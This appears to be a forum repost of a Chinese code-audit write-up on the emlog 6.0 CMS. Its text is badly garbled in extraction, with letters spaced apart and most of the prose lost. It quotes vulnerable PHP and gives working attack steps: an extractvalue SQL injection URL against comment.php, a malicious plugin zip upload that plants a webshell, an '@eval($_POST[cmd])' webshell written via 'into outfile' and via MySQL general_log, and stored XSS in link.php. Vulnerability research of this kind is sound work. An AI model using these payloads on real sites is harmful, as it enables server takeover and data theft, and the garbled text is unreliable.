[13792] 2019-02-24_CMS代码审计之emlog6.0

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2019-02-24_CMS代码审计之emlog6.0 C M S e m l o g   6 . 0 f i s h y y h   F r e e B u f   2 0 1 9 - 0 2 - 2 4 C M S C M S e m l o g   6 . 0 . 0 h t t p : / / w w w . e m l o g . n e t 1   2   S e l e c t I n s e r t 3   4   1 .   S q l n o t e p a d _ G E T [ i p ] I P
a c t i o n d e l b y i p t o k e n i p d l e C o m m e n t B y I p ( $ i p ) c l a s s   C o m m e n t _ M o d e l d e l C o m m e n t B y I p 使 / i n l u d e s / m o d e l / c o m m e n t _ m o d e l . p h p d e l C o m m e n t B y I p d e l C o m m e n t B y I p < i m g   s r c = " h t t p s : / / c h a r t . g o o g l e a p i s . c o m / c h a r t ? c h t = t x & c h l = i p % 2 C % E 4 % B B % A 3 % E 5 % 8 5 % A 5 % 3 C s p a n % 2 0 s t y l e % 3 D % 2 2 c o l o r % 3 A % 2 0 r g b ( 4 1 % 2 C % 2 0 4 3 % 2 C % 2 0 4 4 ) % 3 B % 2 0 f o n t - s i z e % 3 A % 2 0 1 3 p x % 3 B % 2 2 % 3 E % 2 2 S E L E C T % 2 0 D I S T I N C T % 2 0 g i d % 2 0 F R O M % 2 0 % 2 2 . D B _ P R E F I X . % 2 2 c o m m e n t % 2 0 W H E R E % 2 0 i p % 3 D ' " a l t = " i p , " S E L E C T   D I S T I N C T   g i d   F R O M   " . D B _ P R E F I X . " c o m m e n t   W H E R E   i p = ' " > i p s q l 访 h t t p : / / 1 2 7 . 0 . 0 . 1 / e m l o g / a d m i n / c o m m e n t . p h p i p b u r p s u i t e p a y l o a d / e m l o g / a d m i n / c o m m e n t . p h p ? a c t i o n = d e l b y i p & t o k e n = a b a c 6 e 1 2 c 2 a b e 9 b 2 9 7 9 7 b 6 4 4 8 1 e f 6 e d 4 & i p = 1 2 7 . 0 . 0 . 1 a n d   ( e x t r a c t v a l u e ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   u s e r ( ) ) , 0 x 7 e ) ) ) #     2 .   a d m i n / p l u g i n . p h p z i p p l u g i n . p h p 7 9 a c t i o n u p l o a d _ z i p . . i f   ( $ a c t i o n = =   ' d e l b y i p ' )   {         L o g i n A u t h : : c h e c k T o k e n ( ) ;         i f   ( R O L E   ! =   R O L E _ A D M I N )   {                 e m M s g ( ' ' ,   ' . / ' ) ;         }         $ i p   =   i s s e t ( $ _ G E T [ ' i p ' ] )   ?   $ _ G E T [ ' i p ' ]   :   ' ' ;         $ C o m m e n t _ M o d e l - > d e l C o m m e n t B y I p ( $ i p ) ;         $ C A C H E - > u p d a t e C a c h e ( a r r a y ( ' s t a ' , ' c o m m e n t ' ) ) ;         e m D i r e c t ( " . / c o m m e n t . p h p ? a c t i v e _ d e l = 1 " ) ; } f u n c t i o n   d e l C o m m e n t B y I p ( $ i p )   {                 $ b l o g i d s   =   a r r a y ( ) ;                 $ s q l   =   " S E L E C T   D I S T I N C T   g i d   F R O M   " . D B _ P R E F I X . " c o m m e n t   W H E R E   i p = ' $ i p ' " ;                 $ q u e r y   =   $ t h i s - > d b - > q u e r y ( $ s q l ) ;                 w h i l e   ( $ r o w   =   $ t h i s - > d b - > f e t c h _ a r r a y ( $ q u e r y ) )   {                         $ b l o g i d s [ ]   =   $ r o w [ ' g i d ' ] ;                 }                 $ t h i s - > d b - > q u e r y ( " D E L E T E   F R O M   " . D B _ P R E F I X . " c o m m e n t   W H E R E   i p = ' $ i p ' " ) ;                 $ t h i s - > u p d a t e C o m m e n t N u m ( $ b l o g i d s ) ;         }
i n c l u d e l i b f u n c t i o n . b a s e . p h p g e t F i l e s u S u f f i x z i p i n c l u d e l i b f u n c t i o n . b a s e . p h p e m U n z i p z i p t e s t t e s t . p h p i f   ( $ a c t i o n   = =   ' u p l o a d _ z i p ' )   {         L o g i n A u t h : : c h e c k T o k e n ( ) ;         $ z i p f i l e   =   i s s e t ( $ _ F I L E S [ ' p l u z i p ' ] )   ?   $ _ F I L E S [ ' p l u z i p ' ]   :   ' ' ;         i f   ( $ z i p f i l e [ ' e r r o r ' ]   = =   4 )   {                 e m D i r e c t ( " . / p l u g i n . p h p ? e r r o r _ d = 1 " ) ;         }         i f   ( ! $ z i p f i l e   | |   $ z i p f i l e [ ' e r r o r ' ]   > =   1   | |   e m p t y ( $ z i p f i l e [ ' t m p _ n a m e ' ] ) )   {                 e m M s g ( ' ' ) ;         }         i f   ( g e t F i l e S u f f i x ( $ z i p f i l e [ ' n a m e ' ] )   ! =   ' z i p ' )   {   / / z i p                 e m D i r e c t ( " . / p l u g i n . p h p ? e r r o r _ f = 1 " ) ;         }         $ r e t   =   e m U n Z i p ( $ z i p f i l e [ ' t m p _ n a m e ' ] ,   ' . . / c o n t e n t / p l u g i n s / ' ,   ' p l u g i n ' ) ; / / z i p . . / c o n t e n t / p l u g i n s /         s w i t c h   ( $ r e t )   {                 c a s e   0 :                         e m D i r e c t ( " . / p l u g i n . p h p ? a c t i v a t e _ i n s t a l l = 1 # t p l l i b " ) ;                         b r e a k ;                 c a s e   - 1 :                         e m D i r e c t ( " . / p l u g i n . p h p ? e r r o r _ e = 1 " ) ;                         b r e a k ;                 c a s e   1 :                 c a s e   2 :                         e m D i r e c t ( " . / p l u g i n . p h p ? e r r o r _ b = 1 " ) ;                         b r e a k ;                 c a s e   3 :                         e m D i r e c t ( " . / p l u g i n . p h p ? e r r o r _ c = 1 " ) ;                         b r e a k ;         } } f u n c t i o n   g e t F i l e S u f f i x ( $ f i l e N a m e )   {         r e t u r n   s t r t o l o w e r ( p a t h i n f o ( $ f i l e N a m e ,     P A T H I N F O _ E X T E N S I O N ) ) ; } f u n c t i o n   e m U n Z i p ( $ z i p f i l e ,   $ p a t h ,   $ t y p e   =   ' t p l ' )   {         i f   ( ! c l a s s _ e x i s t s ( ' Z i p A r c h i v e ' ,   F A L S E ) )   {                 r e t u r n   3 ; / / z i p         }         $ z i p   =   n e w   Z i p A r c h i v e ( ) ;         i f   ( @ $ z i p - > o p e n ( $ z i p f i l e )   ! = =   T R U E )   {                 r e t u r n   2 ; / /         }         $ r   =   e x p l o d e ( ' / ' ,   $ z i p - > g e t N a m e I n d e x ( 0 ) ,   2 ) ;         $ d i r   =   i s s e t ( $ r [ 0 ] )   ?   $ r [ 0 ]   .   ' / '   :   ' ' ;         s w i t c h   ( $ t y p e )   {                 c a s e   ' t p l ' :                         $ r e   =   $ z i p - > g e t F r o m N a m e ( $ d i r   .   ' h e a d e r . p h p ' ) ;                         i f   ( f a l s e   = = =   $ r e )                                 r e t u r n   - 2 ;                         b r e a k ;                 c a s e   ' p l u g i n ' :                         $ p l u g i n _ n a m e   =   s u b s t r ( $ d i r ,   0 ,   - 1 ) ;                         $ r e   =   $ z i p - > g e t F r o m N a m e ( $ d i r   .   $ p l u g i n _ n a m e   .   ' . p h p ' ) ; / / p h p                         i f   ( f a l s e   = = =   $ r e )                                 r e t u r n   - 1 ;                         b r e a k ;                 c a s e   ' b a c k u p ' :                         $ s q l _ n a m e   =   s u b s t r ( $ d i r ,   0 ,   - 1 ) ;                         i f   ( g e t F i l e S u f f i x ( $ s q l _ n a m e )   ! =   ' s q l ' )                                 r e t u r n   - 3 ;                         b r e a k ;                 c a s e   ' u p d a t e ' :                         b r e a k ;         }         i f   ( t r u e   = = =   @ $ z i p - > e x t r a c t T o ( $ p a t h ) )   {                 $ z i p - > c l o s e ( ) ;                 r e t u r n   0 ;         }   e l s e   {                 r e t u r n   1 ; / /         } }
z i p 使 c o n t e n t / p l u g i n s / t e s t 1 / t e s t 1 . p h p w e b s h e l l 3 .   s h e l l s h e l l 1 s e l e c t   i n t o   o u t f i l e     w e b 使 - s e c u r e - f i l e -
p r i v 2 g e n e r a l _ l o g w e b 使 s q l s q l s e l e c t   < ? p h p   @ e v a l ( $ _ P O S T [ c m d ] )   ? >   i n t o   o u t f i l e   e v a l . p h p o k , s e c u r e - f i l e - p r i v , G G , 使   g e n e r a l _ l o g     g e n e r a l _ l o g _ f i l e   S Q L p h p l o g C : / p h p S t u d y / P H P T u t o r i a l / W W W / e m l o g / e v a l . p h p l o g s e t   g l o b a l   g e n e r a l _ l o g = ' o n ' ; S E T   g l o b a l   g e n e r a l _ l o g _ f i l e = ' C : / p h p S t u d y / P H P T u t o r i a l / W W W / e m l o g / e v a l . p h p ' ;   S E L E C T   ' < ? p h p   p h p i n f o ( ) ; ? > ' ;
访 h t t p : / / 1 2 7 . 0 . 0 . 1 / e m l o g / e v a l . p h p s h e l l 4 .   x s s a d m i n / l i n k . p h p   , s i t e u r l x s s $ a c t i o n = a d d l i n k a d d s l a s h e s s q l h t m l 4 4 p a y l o a d h t t p f t p a d d L i n k / i n c l u d e / m o d e l / l i n k _ m o d e l . p h p l i n k _ M o d e l - > a d d L i n k a d d s l a s h e s   i f   ( $ a c t i o n = =   ' a d d l i n k ' )   {         $ t a x i s   =   i s s e t ( $ _ P O S T [ ' t a x i s ' ] )   ?   i n t v a l ( t r i m ( $ _ P O S T [ ' t a x i s ' ] ) )   :   0 ;         $ s i t e n a m e   =   i s s e t ( $ _ P O S T [ ' s i t e n a m e ' ] )   ?   a d d s l a s h e s ( t r i m ( $ _ P O S T [ ' s i t e n a m e ' ] ) )   :   ' ' ;         $ s i t e u r l   =   i s s e t ( $ _ P O S T [ ' s i t e u r l ' ] )   ?   a d d s l a s h e s ( t r i m ( $ _ P O S T [ ' s i t e u r l ' ] ) )   :   ' ' ;         $ d e s c r i p t i o n   =   i s s e t ( $ _ P O S T [ ' d e s c r i p t i o n ' ] )   ?   a d d s l a s h e s ( t r i m ( $ _ P O S T [ ' d e s c r i p t i o n ' ] ) )   :   ' ' ;         i f   ( $ s i t e n a m e   = = ' '   | |   $ s i t e u r l   = = ' ' )   {                 e m D i r e c t ( " . / l i n k . p h p ? e r r o r _ a = 1 " ) ;         }         i f   ( ! p r e g _ m a t c h ( " / ^ h t t p | f t p . + $ / i " ,   $ s i t e u r l ) )   {   / / h t t p f t p                 $ s i t e u r l   =   ' h t t p : / / ' . $ s i t e u r l ;         }         $ L i n k _ M o d e l - > a d d L i n k ( $ s i t e n a m e ,   $ s i t e u r l ,   $ d e s c r i p t i o n ,   $ t a x i s ) ;         $ C A C H E - > u p d a t e C a c h e ( ' l i n k ' ) ;         e m D i r e c t ( " . / l i n k . p h p ? a c t i v e _ a d d = 1 " ) ; }
a c t i o n / i n c l u d e / m o d e l / l i n k _ m o d e l . p h p L i n k _ M o d e l - > g e t L i n k s ( ) s i t e n a m e d e s c r i p t i o n s i t e u r l V i e w : : o u t p u t ( ) g e t L i n k s ( ) s i t e n a m e d e s c r i p t i o n s i t e u r l s i t e u r l / i n c l u d e / l i b / v i e w . p h p   V i e w : : o u t p u t e c h o s i t e u r l x s s f u n c t i o n   a d d L i n k ( $ n a m e ,   $ u r l ,   $ d e s ,   $ t a x i s )   {                 i f   ( $ t a x i s   >   3 0 0 0 0   | |   $ t a x i s   <   0 )   {                         $ t a x i s   =   0 ;                 }                 $ s q l = " i n s e r t   i n t o   " . D B _ P R E F I X . " l i n k   ( s i t e n a m e , s i t e u r l , d e s c r i p t i o n , t a x i s )   v a l u e s ( ' $ n a m e ' , ' $ u r l ' , ' $ d e s ' ,   $ t a x i s ) " ;                 $ t h i s - > d b - > q u e r y ( $ s q l ) ;         }
c m s * f i s h y y h F r e e B u f . C O M
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则